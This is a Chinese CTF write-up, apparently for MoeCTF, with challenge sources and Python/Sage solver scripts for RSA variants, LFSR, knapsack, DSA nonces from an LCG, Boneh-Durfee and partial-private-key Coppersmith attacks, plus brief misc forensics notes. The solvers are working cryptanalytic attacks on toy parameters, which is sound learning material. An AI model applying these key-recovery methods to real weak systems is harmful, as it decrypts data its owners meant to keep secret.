Crypto

给两个比较完善的CRYPTO方向的wp
https://blog.csdn.net/weixin_52640415/article/details/141436804

https://www.cnblogs.com/naby/p/18466255
有一题临时下了,不知道什么情况,三题没出,质量还是非常不错的

现代密码学入门指北

from Crypto.Util.number import *
print(long_to_bytes(pow(c, inverse(e, (p-1)*(q-1)), n)))
Signin
from Crypto.Util.number import*
from secret import flag

m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
c = pow(m,e,n)
pq = (p-1)*(q-2)
qp = (q-1)*(p-2)
p_q = p + q

print(f"{c = }")
print(f"{pq = }")
print(f"{qp = }")
print(f"{n = }")
print(f"{p_q = }")
'''
c = 5654386228732582062836480859915557858019553457231956237167652323191768422394980061906028416785155458721240012614551996577092521454960121688179565370052222983096211611352630963027300416387011219744891121506834201808533675072141450111382372702075488292867077512403293072053681315714857246273046785264966933854754543533442866929316042885151966997466549713023923528666038905359773392516627983694351534177829247262148749867874156066768643169675380054673701641774814655290118723774060082161615682005335103074445205806731112430609256580951996554318845128022415956933291151825345962528562570998777860222407032989708801549746
pq = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687154230787854196153067547938936776488741864214499155892870610823979739278296501074632962069426593691194105670021035337609896886690049677222778251559566664735419100459953672218523709852732976706321086266274840999100037702428847290063111455101343033924136386513077951516363739936487970952511422443500922412450462
qp = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687077087914198877794354459669808240133383828356379423767736753506794441545506312066344576298453957064590180141648690226266236642320508613544047037110363523129966437840660693885863331837516125853621802358973786440314619135781324447765480391038912783714312479080029167695447650048419230865326299964671353746764860
n = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687534959910892789661065614807265825078942931717855566686073463382398417205648946713373617006449901977718981043020664616841303517708207413215548110294271101267236070252015782044263961319221848136717220979435486850254298686692230935985442120369913666939804135884857831857184001072678312992442792825575636200505903
p_q = 279533706577501791569740668595544511920056954944184570513187478007551195831693428589898548339751066551225424790534556602157835468618845221423643972870671556362200734472399328046960316064864571163851111207448753697980178391430044714097464866523838747053135392202848167518870720149808055682621080992998747265496
'''

简单运算,然后常规RSA解法

phi = (pq+qp+p_q-2)//2
# phi = (pq*qp)//(n-2*p_q+4)

ez_hash

from hashlib import sha256
from secret import flag, secrets

assert flag == b'moectf{' + secrets + b'}'
assert secrets[:4] == b'2100' and len(secrets) == 10
hash_value = sha256(secrets).hexdigest()
print(f"{hash_value = }")
# hash_value = '3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a'

只需要爆数字,提前生成字典比较快

import itertools
import hashlib
dir = '1234567890'
dir_list = itertools.product(dir, repeat=6)
hash_value = '3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a'
head = "2100"
xxxxxx = ''
for i in dir_list:
data = i[0]+i[1]+i[2]+i[3]+i[4]+i[5]
data_sha = hashlib.sha256(
(head+data).encode('utf-8')).hexdigest()
if data_sha == hash_value:
xxxxxx = data
break
print('moectf{2100'+xxxxxx+'}')

Big and small

直接开e次方根

print(long_to_bytes(gmpy2.iroot(c, e)[0]))

baby_equation

from Crypto.Util.number import *
from secret import flag

l = len(flag)
m1, m2 = flag[:l//2], flag[l//2:]
a = bytes_to_long(m1)
b = bytes_to_long(m2)
k = 0x2227e398fc6ffcf5159863a345df85ba50d6845f8c06747769fee78f598e7cb1bcf875fb9e5a69ddd39da950f21cb49581c3487c29b7c61da0f584c32ea21ce1edda7f09a6e4c3ae3b4c8c12002bb2dfd0951037d3773a216e209900e51c7d78a0066aa9a387b068acbd4fb3168e915f306ba40
assert ((a**2 + 1)*(b**2 + 1) - 2*(a - b)*(a*b - 1)) == 4*(k + a*b)

直接丢给GPT整合,4k=((a+1)(b1))2直接丢给GPT整合,4k=((a+1)(b-1))^{2}
然后分解得到(a+1)(b1)的所有因子,再遍历所有可能218=262144,还不算大然后分解得到(a+1)*(b-1)的所有因子,再遍历所有可能2^{18}=262144,还不算大

from Crypto.Util.number import *
import gmpy2
from itertools import product
k = 0x2227e398fc6ffcf5159863a345df85ba50d6845f8c06747769fee78f598e7cb1bcf875fb9e5a69ddd39da950f21cb49581c3487c29b7c61da0f584c32ea21ce1edda7f09a6e4c3ae3b4c8c12002bb2dfd0951037d3773a216e209900e51c7d78a0066aa9a387b068acbd4fb3168e915f306ba40
key = gmpy2.iroot(4*k, 2)[0]
l = [2, 2, 2, 2, 3, 3, 31, 61, 223, 4013, 281317, 4151351, 339386329, 370523737, 5404604441993,
26798471753993, 25866088332911027256931479223, 64889106213996537255229963986303510188999911]
seq = [''.join(map(str, seq)) for seq in product('01', repeat=18)]
for i in seq[1:]:
flag = 1
for j in range(18):
if i[j] == '1':
flag *= l[j]
f = long_to_bytes(flag-1)
if b'moectf{' in f:
print(f.decode()+long_to_bytes(key//(flag-1)+1).decode())
break

大白兔

from Crypto.Util.number import *

flag = b'moectf{xxxxxxxxxx}'
m = bytes_to_long(flag)

e1 = 12886657667389660800780796462970504910193928992888518978200029826975978624718627799215564700096007849924866627154987365059524315097631111242449314835868137
e2 = 12110586673991788415780355139635579057920926864887110308343229256046868242179445444897790171351302575188607117081580121488253540215781625598048021161675697

def encrypt(m , e1 , e2):
p = getPrime(512)
q = getPrime(512)
N = p*q
c1 = pow((3*p + 7*q),e1,N)
c2 = pow((2*p + 5*q),e2,N)
e = 65537
c = pow(m , e , N)
return c


print(encrypt(m ,e1 , e2))

'''
N = 107840121617107284699019090755767399009554361670188656102287857367092313896799727185137951450003247965287300048132826912467422962758914809476564079425779097585271563973653308788065070590668934509937791637166407147571226702362485442679293305752947015356987589781998813882776841558543311396327103000285832158267
c1 = 15278844009298149463236710060119404122281203585460351155794211733716186259289419248721909282013233358914974167205731639272302971369075321450669419689268407608888816060862821686659088366316321953682936422067632021137937376646898475874811704685412676289281874194427175778134400538795937306359483779509843470045
c2 = 21094604591001258468822028459854756976693597859353651781642590543104398882448014423389799438692388258400734914492082531343013931478752601777032815369293749155925484130072691903725072096643826915317436719353858305966176758359761523170683475946913692317028587403027415142211886317152812178943344234591487108474
c = 21770231043448943684137443679409353766384859347908158264676803189707943062309013723698099073818477179441395009450511276043831958306355425252049047563947202180509717848175083113955255931885159933086221453965914552773593606054520151827862155643433544585058451821992566091775233163599161774796561236063625305050
'''

跳过%N%q这个步骤,因为二者是等价的跳过\%N到\%q这个步骤,因为二者是等价的
2e1e2c1e2(6p+14q)e1e2%q2^{e_{1}e_{2}}*c_{1}^{e_{2}}\equiv (6p+14q)^{e_{1}e_{2}}\%q
3e1e2c2e1(6p+15q)e1e2%q3^{e_{1}e_{2}}*c_{2}^{e_{1}}\equiv (6p+15q)^{e_{1}e_{2}}\%q
2e1e2c1e23e1e2c2e10%q2^{e_{1}e_{2}}*c_{1}^{e_{2}}-3^{e_{1}e_{2}}*c_{2}^{e_{1}}\equiv 0\%q

a = pow(2, e1*e2, N) * pow(c1, e2, N)
b = pow(3, e1*e2, N) * pow(c2, e1, N)
q = GCD(N, a-b)
d = inverse(e, q-1)
print(long_to_bytes(pow(c, d, q)).decode())

More_secure_RSA

from Crypto.Util.number import *

flag = b'moectf{xxxxxxxxxxxxxxxxx}'

m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
c = pow(m, e, n)
print(f'c = {c}')
print(f'n = {n}')

'''
Oh,it isn't secure enough!
'''
r = getPrime(1024)
n = n * r
c = pow(m, e, n)
print(f'C = {c}')
print(f'N = {n}')

'''
c = 12992001402636687796268040906463852467529970619872166160007439409443075922491126428847990768804065656732371491774347799153093983118784555645908829567829548859716413703103209412482479508343241998746249393768508777622820076455330613128741381912099938105655018512573026861940845244466234378454245880629342180767100764598827416092526417994583641312226881576127632370028945947135323079587274787414572359073029332698851987672702157745794918609888672070493920551556186777642058518490585668611348975669471428437362746100320309846155934102756433753034162932191229328675448044938003423750406476228868496511462133634606503693079
n = 16760451201391024696418913179234861888113832949815649025201341186309388740780898642590379902259593220641452627925947802309781199156988046583854929589247527084026680464342103254634748964055033978328252761138909542146887482496813497896976832003216423447393810177016885992747522928136591835072195940398326424124029565251687167288485208146954678847038593953469848332815562187712001459140478020493313651426887636649268670397448218362549694265319848881027371779537447178555467759075683890711378208297971106626715743420508210599451447691532788685271412002723151323393995544873109062325826624960729007816102008198301645376867
C = 1227033973455439811038965425016278272592822512256148222404772464092642222302372689559402052996223110030680007093325025949747279355588869610656002059632685923872583886766517117583919384724629204452792737574445503481745695471566288752636639781636328540996436873887919128841538555313423836184797745537334236330889208413647074397092468650216303253820651869085588312638684722811238160039030594617522353067149762052873350299600889103069287265886917090425220904041840138118263873905802974197870859876987498993203027783705816687972808545961406313020500064095748870911561417904189058228917692021384088878397661756664374001122513267695267328164638124063984860445614300596622724681078873949436838102653185753255893379061574117715898417467680511056057317389854185497208849779847977169612242457941087161796645858881075586042016211743804958051233958262543770583176092221108309442538853893897999632683991081144231262128099816782478630830512
N = 1582486998399823540384313363363200260039711250093373548450892400684356890467422451159815746483347199068277830442685312502502514973605405506156013209395631708510855837597653498237290013890476973370263029834010665311042146273467094659451409034794827522542915103958741659248650774670557720668659089460310790788084368196624348469099001192897822358856214600885522908210687134137858300443670196386746010492684253036113022895437366747816728740885167967611021884779088402351311559013670949736441410139393856449468509407623330301946032314939458008738468741010360957434872591481558393042769373898724673597908686260890901656655294366875485821714239821243979564573095617073080807533166477233759321906588148907331569823186970816432053078415316559827307902239918504432915818595223579467402557885923581022810437311450172587275470923899187494633883841322542969792396699601487817033616266657366148353065324836976610554682254923012474470450197
'''

纯粹多余的RSA(

from Crypto.Util.number import *
r = N//n
d = inverse(e, r-1)
print(long_to_bytes(pow(C, d, r)))

ezlegendre

from sympy import *
from Crypto.Util.number import *

p = getPrime(128)
a = randprime(2, p)

FLAG = b'moectf{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

def encrypt_flag(flag):
ciphertext = []
plaintext = ''.join([bin(i)[2:].zfill(8) for i in flag])
for bit in plaintext:
e = randprime(2, p)
n = pow(int(bit) + a, e , p)
ciphertext.append(n)
return ciphertext

print(encrypt_flag(FLAG))

二次剩余,有点奇怪,我之前见到flag的比特位放在指数的位置,这题却是在底数的位置

QR,a+1
QNR,a+0

对于底数这种情况,我好像暂时没有办法解释,但可通过定义进行验证
n(p1)//21/1(mod q)n^{(p-1)//2}\equiv 1/-1(mod\ q)

from sympy import *
p = 303597842163255391032954159827039706827
a = 34032839867482535877794289018590990371
e = randprime(2, p)
print(pow(a+1, e*(p-1)//2, p))
# (1,1) (0,-1)
# sage
from Crypto.Util.number import *
c = []
p = 303597842163255391032954159827039706827
a = 34032839867482535877794289018590990371
flag=''
for i in c:
b=legendre_symbol(i,p)
if b==1:
flag+='1'
else:
flag+='0'
print(long_to_bytes(int(flag,2)).decode())

new_system

from random import randint
from Crypto.Util.number import getPrime,bytes_to_long

flag = b'moectf{???????????????}'
gift = bytes_to_long(flag)

def parametergenerate():
q = getPrime(256)
gift1 = randint(1, q)
gift2 = (gift - gift1) % q
x = randint(1, q)
assert gift == (gift1 + gift2) % q
return q , x , gift1, gift2

def encrypt(m , q , x):
a = randint(1, q)
c = (a*x + m) % q
return [a , c]

q , x , gift1 , gift2 = parametergenerate()
print(encrypt(gift1 , q , x))
print(encrypt(gift2 , q , x))
print(encrypt(gift , q , x))
print(f'q = {q}')

'''
[48152794364522745851371693618734308982941622286593286738834529420565211572487, 21052760152946883017126800753094180159601684210961525956716021776156447417961]
[48649737427609115586886970515713274413023152700099032993736004585718157300141, 6060718815088072976566240336428486321776540407635735983986746493811330309844]
[30099883325957937700435284907440664781247503171217717818782838808179889651361, 85333708281128255260940125642017184300901184334842582132090488518099650581761]
q = 105482865285555225519947662900872028851795846950902311343782163147659668129411
'''

c1=a1x+g1 mod qc1=a1*x+g1 mod q
c2=a2x+g2 mod qc2=a2*x+g2 mod q
c3=a3x+g1+g2 mod qc3=a3*x+g1+g2 mod q
x=(c3c2c1)(a3a2a1)1 mod qx=(c3-c2-c1)*(a3-a2-a1)^{-1} mod q

from Crypto.Util.number import *

a1, c1 = (48152794364522745851371693618734308982941622286593286738834529420565211572487,
21052760152946883017126800753094180159601684210961525956716021776156447417961)
a2, c2 = (48649737427609115586886970515713274413023152700099032993736004585718157300141,
6060718815088072976566240336428486321776540407635735983986746493811330309844)
a3, c3 = (30099883325957937700435284907440664781247503171217717818782838808179889651361,
85333708281128255260940125642017184300901184334842582132090488518099650581761)
q = 105482865285555225519947662900872028851795846950902311343782163147659668129411
x = (c3-c2-c1)*inverse(a3-a2-a1, q) % q
print(long_to_bytes((c3-a3*x % q)).decode())

RSA_revenge

https://lazzzaro.github.io/2020/12/06/match-RoarCTF-2020/index.html#Reverse
p q二进制互反,emirp数

from Crypto.Util.number import *

n = 141326884939079067429645084585831428717383389026212274986490638181168709713585245213459139281395768330637635670530286514361666351728405851224861268366256203851725349214834643460959210675733248662738509224865058748116797242931605149244469367508052164539306170883496415576116236739853057847265650027628600443901
c = 47886145637416465474967586561554275347396273686722042112754589742652411190694422563845157055397690806283389102421131949492150512820301748529122456307491407924640312270962219946993529007414812671985960186335307490596107298906467618684990500775058344576523751336171093010950665199612378376864378029545530793597
e = 65537

def t(a, b, k):
# sqrt(n)有512位2进制位, 需计算高低位每边的256位
if k == 256:
if a*b == n:
print(a, b)
return
for i in range(2):
for j in range(2):
# 对两个素数因子尝试爆破未遍历的位爆破
a1 = a + i*(2**k) + j*(2**(511-k))
b1 = b + j*(2**k) + i*(2**(511-k))
if a1*b1 > n:
# 当a1和b1过大
continue
if (a1+(2**(511-k)))*(b1+(2**(511-k))) < n:
# 当a1和b1过小
continue
if ((a1*b1) % (2**(k+1))) != (n % (2**(k+1))):
# 当a1*b1的最后k+1位(不变)与n的最后k+1位不同
continue
# 满足条件的(a1,b1)值,尝试继续遍历
t(a1, b1, k+1)

# 两个素数因子有512位2进制位, 尝试可能的所有中间位
for i in range(2):
t(i*(2**256), i*(2**256), 0)

p, q = 11660635291534613230423193509391946961264539191735481147071890944740311229658362673314192872117237108949853531941630122241060679012089130178372253390640871, 12119998731259483292178496920109290754181396164390285597126378297678818779092115139911720576157973310671490865211601201831597946479039132512609504866583931
print(p*q == n)
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)).decode())

no_way_to_find_the_flag(这题被下了,不过也没看)

import numpy as np
from scipy.linalg import block_diag
from Crypto.Util.number import isPrime, long_to_bytes
from random import randint
from math import *

flag = b'moectf{???????????????????}'

def gen_prime(b):
p = randint(2 ** (b - 1), 2 ** b)
while not isPrime(p):
p = randint(2 ** (b - 1), 2 ** b)
return p

def generateSophieGermainPrime(k):
p = gen_prime(k - 1)
sp = 2 * p + 1
while not isPrime(sp):
p = gen_prime(k - 1)
sp = 2 * p + 1
return p

def text2array(txt):
ary = []
for row in txt.split('\n'):
if row.strip() != '':
row = row.replace('[', '').replace(']', '').strip()
ary.append([int(x) for x in row.split()])
return np.array(ary, dtype=np.int64)

def keygen(k):
if k > 29:
datatype = 'object'
else:
datatype = np.int64

q = generateSophieGermainPrime(k)
l = int(np.ceil(log2(q)))

n = k
m = n * l

s = np.random.randint(q, size=n - 1, dtype=np.int64).astype(datatype)
t = np.append(s, 1)
e = np.rint(np.random.normal(scale=1.0, size=m)).astype(int).astype(datatype)
A = np.random.randint(q, size=(n - 1, m), dtype=np.int64).astype(datatype)
B = np.vstack((-A, np.dot(s, A) + e)) % q

check = np.dot(t, B) % q
okay = np.all(check == (e % q))
if okay:
print("Keygen check passed")
else:
print("Keygen check failed")

class Keys:
def __init__(self, k, q, t, e, A, B, datatype):
self.k = k
self.q = q
self.t = t
self.e = e
self.A = A
self.B = B
self.datatype = datatype
self.l = l
self.n = n
self.m = int(m)

return Keys(k, q, t, e, A, B, datatype)

def buildGadget(l, n):
g = 2 ** np.arange(l)
return block_diag(*[g for null in range(n)])

def encrypt(keys, message):
R = np.random.randint(2, size=(keys.m, keys.m), dtype=np.int64).astype(keys.datatype)
G = buildGadget(keys.l, keys.n)
return (np.dot(keys.B, R) + message * G) % keys.q

keys = keygen(16)
binary_flag = ''.join(format(byte, '08b') for byte in flag)
with open('keys_and_ciphertexts.txt', 'w') as f:
f.write(f"Keys:\n")
f.write(f"q: {keys.q}\n")
f.write(f"t: {keys.t}\n")
f.write(f"e: {keys.e}\n")
f.write(f"A: {keys.A}\n")
f.write(f"B: {keys.B}\n\n")
f.write(f"Ciphertexts:\n")
for bit in binary_flag:
ciphertext = encrypt(keys, int(bit))
f.write(f"{ciphertext}\n")

One more bit

from Crypto.Util.number import getStrongPrime, bytes_to_long, GCD, inverse
from Crypto.Util.Padding import pad
from secret import flag
import random

def genKey(nbits,dbits):
p = getStrongPrime(nbits//2)
q = getStrongPrime(nbits//2)
n = p*q
phi = (p-1)*(q-1)
while True:
d = random.getrandbits(dbits)
if d.bit_length() == dbits:
if GCD(d, phi) == 1:
e = inverse(d, phi)
pk = (n, e)
sk = (p, q, d)
return pk, sk

nbits = 1024
dbits = 258
message = pad(flag,16)
msg = pad(message, 16)
m = bytes_to_long(msg)
pk= genKey(nbits, dbits)[0]
n, e = pk
ciphertext = pow(m, e, n)

with open("data.txt","w") as f:
f.write(f"pk = {pk}\n")
f.write(f"ciphertext = {ciphertext}\n")
f.close()
pk = (134133840507194879124722303971806829214527933948661780641814514330769296658351734941972795427559665538634298343171712895678689928571804399278111582425131730887340959438180029645070353394212857682708370490223871309129948337487286534021548834043845658248447393803949524601871557448883163646364233913283438778267, 83710839781828547042000099822479827455150839630087752081720660846682103437904198705287610613170124755238284685618099812447852915349294538670732128599161636818193216409714024856708796982283165572768164303554014943361769803463110874733906162673305654979036416246224609509772196787570627778347908006266889151871)
ciphertext = 73228838248853753695300650089851103866994923279710500065528688046732360241259421633583786512765328703209553157156700672911490451923782130514110796280837233714066799071157393374064802513078944766577262159955593050786044845920732282816349811296561340376541162788570190578690333343882441362690328344037119622750

d<N0.292d<N^{0.292}
Boneh Durfee Attack
https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage

from Crypto.Util.number import *
N,e = (134133840507194879124722303971806829214527933948661780641814514330769296658351734941972795427559665538634298343171712895678689928571804399278111582425131730887340959438180029645070353394212857682708370490223871309129948337487286534021548834043845658248447393803949524601871557448883163646364233913283438778267, 83710839781828547042000099822479827455150839630087752081720660846682103437904198705287610613170124755238284685618099812447852915349294538670732128599161636818193216409714024856708796982283165572768164303554014943361769803463110874733906162673305654979036416246224609509772196787570627778347908006266889151871)
ciphertext = 73228838248853753695300650089851103866994923279710500065528688046732360241259421633583786512765328703209553157156700672911490451923782130514110796280837233714066799071157393374064802513078944766577262159955593050786044845920732282816349811296561340376541162788570190578690333343882441362690328344037119622750
d = 420129172617694367639603712165881242192973923283572937883375494685279140840871
print(long_to_bytes(int(pow(ciphertext,d,N))).decode())

EzMatrix()

from Crypto.Util.number import *
from secret import FLAG,secrets,SECERT_T

assert len(secrets) == 16
assert FLAG == b'moectf{' + secrets + b'}'
assert len(SECERT_T) <= 127

class LFSR:
def __init__(self):
self._s = list(map(int,list("{:0128b}".format(bytes_to_long(secrets)))))
for _ in range(8*len(secrets)):
self.clock()

def clock(self):
b = self._s[0]
c = 0
for t in SECERT_T:c ^= self._s[t]
self._s = self._s[1:] + [c]
return b

def stream(self, length):
return [self.clock() for _ in range(length)]

c = LFSR()
stream = c.stream(256)
print("".join(map(str,stream))[:-5])
# 11111110011011010000110110100011110110110101111000101011001010110011110011000011110001101011001100000011011101110000111001100111011100010111001100111101010011000110110101011101100001010101011011101000110001111110100000011110010011010010100100000000110

好,LFSR不太会

EzPack

from Crypto.Util.number import *
from secret import flag
import random

p = 2050446265000552948792079248541986570794560388346670845037360320379574792744856498763181701382659864976718683844252858211123523214530581897113968018397826268834076569364339813627884756499465068203125112750486486807221544715872861263738186430034771887175398652172387692870928081940083735448965507812844169983643977
assert len(flag) == 42

def encode(msg):
return bin(bytes_to_long(msg))[2:].zfill(8*len(msg))

def genkey(len):
sums = 0
keys = []
for i in range(len):
k = random.randint(1,7777)
x = sums + k
keys.append(x)
sums += x
return keys

key = genkey(42*8)

def enc(m, keys):
msg = encode(m)
print(len(keys))
print(len(msg))
assert len(msg) == len(keys)
s = sum((k if (int(p,2) == 1) else 1) for p, k in zip(msg, keys))
print(msg)
for p0,k in zip(msg,keys):
print(int(p0,2))
return pow(7,s,p)

cipher = enc(flag,key)

with open("output.txt", "w") as fs:
fs.write(str(key)+'\n')
fs.write(str(cipher))

离散对数问题DLP+超递增背包密码

from Crypto.Util.number import *

c = 1210552586072154479867426776758107463169244511186991628141504400199024936339296845132507655589933479768044598418932176690108379140298480790405551573061005655909291462247675584868840035141893556748770266337895571889128422577613223452797329555381197215533551339146807187891070847348454214231505098834813871022509186
key = [...]
p = 2050446265000552948792079248541986570794560388346670845037360320379574792744856498763181701382659864976718683844252858211123523214530581897113968018397826268834076569364339813627884756499465068203125112750486486807221544715872861263738186430034771887175398652172387692870928081940083735448965507812844169983643977
# sage
# R = GF(p)
# s = R(c).log(R(7))
s = 363965742933281351259442199216117822475210003294088371760914916341815880641228470807683148775152284520244
flag = ''
for i in key[::-1]:
if i <= s:
flag += '1'
s -= i
else:
flag += '0'
s -= 1
flag = flag[::-1]
for i in range(0, len(flag), 8):
print(chr(int(flag[i:i+8], 2)), end='')

ezLCG()

# sage
from sage.all import *
from random import getrandbits, randint
from secrets import randbelow
from Crypto.Util.number import getPrime,isPrime,inverse
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secret import priKey, flag
from hashlib import sha1
import os

q = getPrime(160)
while True:
t0 = q*getrandbits(864)
if isPrime(t0+1):
p = t0 + 1
break

x = priKey
assert p % q == 1
h = randint(1,p-1)
g = pow(h,(p-1)//q,p)
y = pow(g,x,p)

def sign(z, k):
r = pow(g,k,p) % q
s = (inverse(k,q)*(z+r*priKey)) % q
return (r,s)

def verify(m,s,r):
z = int.from_bytes(sha1(m).digest(), 'big')
u1 = (inverse(s,q)*z) % q
u2 = (inverse(s,q)*r) % q
r0 = ((pow(g,u1,p)*pow(y,u2,p)) % p) % q
return r0 == r

def lcg(a, b, q, x):
while True:
x = (a * x + b) % q
yield x

msg = [os.urandom(16) for i in range(5)]

a, b, x = [randbelow(q) for _ in range(3)]
prng = lcg(a, b, q, x)
sigs = []
for m, k in zip(msg,prng):
z = int.from_bytes(sha1(m).digest(), "big") % q
r, s = sign(z, k)
assert verify(m, s, r)
sigs.append((r,s))

print(f"{g = }")
print(f"{h = }")
print(f"{q = }")
print(f"{p = }")
print(f"{msg = }")
print(f"{sigs = }")
key = sha1(str(priKey).encode()).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC,iv)
ct = cipher.encrypt(pad(flag,16))
print(f"{iv = }")
print(f"{ct = }")

'''
g = 81569684196645348869992756399797937971436996812346070571468655785762437078898141875334855024163673443340626854915520114728947696423441493858938345078236621180324085934092037313264170158390556505922997447268262289413542862021771393535087410035145796654466502374252061871227164352744675750669230756678480403551
h = 13360659280755238232904342818943446234394025788199830559222919690197648501739683227053179022521444870802363019867146013415532648906174842607370958566866152133141600828695657346665923432059572078189013989803088047702130843109809724983853650634669946823993666248096402349533564966478014376877154404963309438891
q = 1303803697251710037027345981217373884089065173721
p = 135386571420682237420633670579115261427110680959831458510661651985522155814624783887385220768310381778722922186771694358185961218902544998325115481951071052630790578356532158887162956411742570802131927372034113509208643043526086803989709252621829703679985669846412125110620244866047891680775125948940542426381
msg = [b'I\xf0\xccy\xd5~\xed\xf8A\xe4\xdf\x91+\xd4_$', b'~\xa0\x9bCB\xef\xc3SY4W\xf9Aa\rO', b'\xe6\x96\xf4\xac\n9\xa7\xc4\xef\x82S\xe9 XpJ', b'3,\xbb\xe2-\xcc\xa1o\xe6\x93+\xe8\xea=\x17\xd1', b'\x8c\x19PHN\xa8\xbc\xfc\xa20r\xe5\x0bMwJ']
sigs = [(913082810060387697659458045074628688804323008021, 601727298768376770098471394299356176250915124698), (406607720394287512952923256499351875907319590223, 946312910102100744958283218486828279657252761118), (1053968308548067185640057861411672512429603583019, 1284314986796793233060997182105901455285337520635), (878633001726272206179866067197006713383715110096, 1117986485818472813081237963762660460310066865326), (144589405182012718667990046652227725217611617110, 1028458755419859011294952635587376476938670485840)]
iv = b'M\xdf\x0e\x7f\xeaj\x17PE\x97\x8e\xee\xaf:\xa0\xc7'
ct = b"\xa8a\xff\xf1[(\x7f\xf9\x93\xeb0J\xc43\x99\xb25:\xf5>\x1c?\xbd\x8a\xcd)i)\xdd\x87l1\xf5L\xc5\xc5'N\x18\x8d\xa5\x9e\x84\xfe\x80\x9dm\xcc"
'''

babe-Lifting

from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p*q
e = 0x1001
d = inverse(e, (p-1)*(q-1))
bit_leak = 400
d_leak = d & ((1<<bit_leak)-1)
msg = bytes_to_long(flag)
cipher = pow(msg,e,n)
pk = (n, e)

with open('output.txt','w') as f:
f.write(f"pk = {pk}\n")
f.write(f"cipher = {cipher}\n")
f.write(f"hint = {d_leak}\n")
f.close()
pk = (53282434320648520638797489235916411774754088938038649364676595382708882567582074768467750091758871986943425295325684397148357683679972957390367050797096129400800737430005406586421368399203345142990796139798355888856700153024507788780229752591276439736039630358687617540130010809829171308760432760545372777123, 4097)
cipher = 14615370570055065930014711673507863471799103656443111041437374352195976523098242549568514149286911564703856030770733394303895224311305717058669800588144055600432004216871763513804811217695900972286301248213735105234803253084265599843829792871483051020532819945635641611821829176170902766901550045863639612054
hint = 1550452349150409256147460237724995145109078733341405037037945312861833198753379389784394833566301246926188176937280242129

d_leak = d & ((1<<bit_leak)-1),泄露d的低400位
参考https://lazzzaro.github.io/2020/05/06/crypto-RSA/ La佬的脚本,一开始以为没跑出来是有问题的,结果复盘发现,原来大家都要跑10来分钟呢,QWQ
当然给的论文我也没看懂

#Sage
from Crypto.Util.number import *
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.4) # find root < 2^(nbits//2-kbits) with factor >= n^0.4
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)
def find_p(d0, kbits, e, n):
X = var('X')
for k in range(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p and p != 1:
return p
if __name__ == '__main__':
n, e = (53282434320648520638797489235916411774754088938038649364676595382708882567582074768467750091758871986943425295325684397148357683679972957390367050797096129400800737430005406586421368399203345142990796139798355888856700153024507788780229752591276439736039630358687617540130010809829171308760432760545372777123, 4097)
c = 14615370570055065930014711673507863471799103656443111041437374352195976523098242549568514149286911564703856030770733394303895224311305717058669800588144055600432004216871763513804811217695900972286301248213735105234803253084265599843829792871483051020532819945635641611821829176170902766901550045863639612054
d0 = 1550452349150409256147460237724995145109078733341405037037945312861833198753379389784394833566301246926188176937280242129
beta = 0.5
nbits = n.nbits()
kbits = d0.nbits()
print("lower %d bits (of %d bits) is given" % (kbits, nbits))
p = int(find_p(d0, kbits, e, n))
print("found p: %d" % p)
print("not found!")
q = n//int(p)
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(int(pow(c,d,n))).decode())

论文:https://www.ams.org/notices/199902/boneh.pdf

hidden-poly()

from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.Cipher import AES
import os

q = 264273181570520944116363476632762225021
key = os.urandom(16)
iv = os.urandom(16)
root = 122536272320154909907460423807891938232
f = sum([a*root**i for i,a in enumerate(key)])
assert key.isascii()
assert f % q == 0

with open('flag.txt','rb') as f:
flag = f.read()

cipher = AES.new(key,AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(flag,16)).hex()

with open('output.txt','w') as f:
f.write(f"{iv = }" + "\n")
f.write(f"{ciphertext = }" + "\n")
iv = b'Gc\xf2\xfd\x94\xdc\xc8\xbb\xf4\x84\xb1\xfd\x96\xcd6\\'
ciphertext = 'd23eac665cdb57a8ae7764bb4497eb2f79729537e596600ded7a068c407e67ea75e6d76eb9e23e21634b84a96424130e'

Misc

罗小黑战记

一张gif动图,直接用ToolsFx的图片模块进行处理,最后扫码

杂项入门指北

海报发现摩斯电码.... ....- ...- . ..--.- .- ..--.- --. ----- ----- -.. ..--.- - .---- -- .

ez_Forensics

cmdscan:可用于查看终端记录
vol.py -f flag.raw --profile=Win7SP1x64 cmdscan

so many ‘m’

